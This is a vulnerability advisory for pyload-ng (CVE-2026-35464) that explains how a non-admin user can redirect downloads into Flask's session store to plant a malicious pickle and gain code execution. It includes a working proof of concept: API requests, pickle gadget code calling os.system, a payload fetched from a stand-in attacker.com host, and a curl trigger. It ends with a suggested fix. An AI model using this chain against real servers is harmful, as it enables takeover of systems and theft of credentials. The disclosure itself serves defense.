PT-2026-30341 · Pypi · Pyload-Ng
Published
2026-04-04
·
Updated
2026-04-04
·
CVE-2026-35464
CVSS v3.1
7.5
High
| AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
Summary
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an
ADMIN ONLY OPTIONS set to block non-admin users from modifying security-critical config options. The storage folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.Required Privileges
The chain requires a single non-admin user with both
SETTINGS (to change storage folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.Root Cause
storage folder at src/pyload/core/api/ init .py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.pyload configures Flask with
SESSION TYPE = "filesystem" at init .py:127. The cachelib FileSystemCache stores session files as md5("session:" + session id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.Proven RCE Chain
Tested against
lscr.io/linuxserver/pyload-ng:latest Docker image.Step 1 — Change download directory to Flask session store:
POST /api/set config value
{"section":"core","category":"general","option":"storage folder","value":"/tmp/pyLoad/flask"}
The path check resolves
/tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.Step 2 — Compute the target session filename:
md5("session:ATTACKER SESSION ID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as
md5(key prefix + session id). The default key prefix is session:.Step 3 — Host and download the malicious pickle payload:
import pickle, os, struct
class RCE:
def reduce (self):
return (os.system, ("id > /tmp/pyload-rce-success",))
session = {" permanent": True, "rce": RCE()}
payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as
http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:POST /api/add package
{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to
/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyload session 8000=ATTACKER SESSION ID"
The session cookie name is
pyload session + the configured port number ( init .py:128).Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls
pickle.load(). The RCE gadget executes.Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success
uid=1000(abc) gid=1000(users) groups=1000(users)
Impact
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
- Execute arbitrary commands with the privileges of the pyload process
- Read environment variables (API keys, credentials)
- Access the filesystem (download history, user database)
- Pivot to other network resources
Suggested Fix
Add
storage folder to the ADMIN ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):ADMIN ONLY OPTIONS = {
...
("general", "storage folder"), # ADDED: prevents session poisoning RCE
...
}
Also correct the existing wrong option names:
("webui", "ssl certfile"), # FIXED: was "ssl cert" (dead code)
("webui", "ssl keyfile"), # FIXED: was "ssl key" (dead code)
Fix
Deserialization of Untrusted Data
Incorrect Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Pyload-Ng